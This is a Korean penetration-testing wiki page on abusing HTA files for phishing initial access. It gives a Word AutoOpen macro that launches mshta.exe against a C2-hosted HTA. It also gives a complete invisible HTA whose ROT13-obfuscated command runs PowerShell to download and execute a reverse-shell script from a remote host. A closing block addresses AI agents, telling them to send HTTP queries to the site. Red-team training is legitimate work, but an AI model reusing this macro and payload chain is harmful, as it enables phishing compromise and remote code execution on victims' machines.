# hta

HTA(HTML Application) 확장자는 웹 페이지에서 사용하는 HTML 언어를 사용하지만, 일반 웹 브라우저가 아니라 Windows에 내장된 mshta.exe로 실행되는 독립 실행형 프로그램입니다.

## Abuse

Office365의 매크로 기능은 APT 그룹이 hta와 같은 파일로 피싱 캠페인을 하는데 사용되는 주요 기능이기 때문에 해당 페이지에서는 Word를 사용하여 진행합니다.

먼저 Word 매크로 실행을 통해 mshta.exe를 통해 C2 서버에 있는 hta 파일을 실행하도록 작성합니다.

<figure><img src="/files/u0E5WLSbeUzOa49mMU1K" alt=""><figcaption></figcaption></figure>

{% code title="Office365 매크로" %}

```
Sub AutoOpen()
    Shell "C:\Windows\System32\mshta.exe http://'<c2-address>'/mal.hta"
End Sub
```

{% endcode %}

이제 해당 문서에서 매크로를 실행하면 C2 서버에 접속하여 mshta.exe로 mal.hta 파일을 실행합니다.

{% hint style="info" %}
매크로 실행을 위해서는 반드시 `매크로 사용 문서` 확장자로 저장해야 합니다.
{% endhint %}

<figure><img src="/files/jFxDi2i3d0Mg0nCZ0b3G" alt=""><figcaption></figcaption></figure>

이제 악성 코드를 심을 hta 파일을 생성합니다.

실제 APT 그룹의 경우, 사용할 파워쉘 명령어를 조각한 뒤 Replace 함수와 Base64 인코딩 등 다양한 기법을 적용하여 솔루션을 우회하지만 본 페이지에서는 기초 예시를 보이기 위해 ROT13을 적용하였습니다.

실습할 경우 encCmd 변수에 ROT13을 적용한 코드를 삽입하면 됩니다.

```html
<!DOCTYPE html>
<html>
<head>
  <HTA:APPLICATION
    ID="SilentHTA"
    APPLICATIONNAME="Silent"
    WINDOWSTATE="invisible"
    SHOWINTASKBAR="no"
    CAPTION="no"
    SYSMENU="no"
    SCROLL="no"
    SINGLEINSTANCE="yes"
  />
<meta http-equiv="x-ua-compatible" content="IE=11" />
<script language="JScript">
	window.resizeTo(0, 0);
	window.moveTo(-2000, -2000);
	document.body.style.display = "none";

    var alph  = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
    var ranalph = "NOPQRSTUVWXYZABCDEFGHIJKLMnopqrstuvwxyzabcdefghijklm";
    var num   = "0123456789";
    var sym   = "/$:;-\\%#*&!. ";

    function scram(s) {
        var r = "";
        for (var i = 0; i < s.length; i++) {
            var found = false;
            for (var j = 0; j < alph.length; j++) {
                if (s.charAt(i) == alph.charAt(j)) {
                    r += ranalph.charAt(j);
                    found = true;
                    break;
                }
            }
            if (!found) {
                r += s.charAt(i);
            }
        }
        return r;
    }
    var shellObj = new ActiveXObject(scram("Jfpevcg.Furyy"));
    var encCmd = "cbjrefuryy.rkr -p \"\"vRk (aRj-bOwRpG aRg.JrOpYvRaG).QbJaYbNqFgEvAt('UgGc://192.168.0.103:1005/erirefr.cf1')\"\"";
    shellObj.Run(scram(encCmd), 0, false);
    setTimeout(function(){ self.close(); }, 1000);
</script>
</head>
<body></body>
</html>
```

## References

{% embed url="<https://www.phrack.me/tools/2022/11/11/HTA-Runner.html>" %}

{% embed url="<https://asec.ahnlab.com/ko/26477/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/initial-access/phishing/hta.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
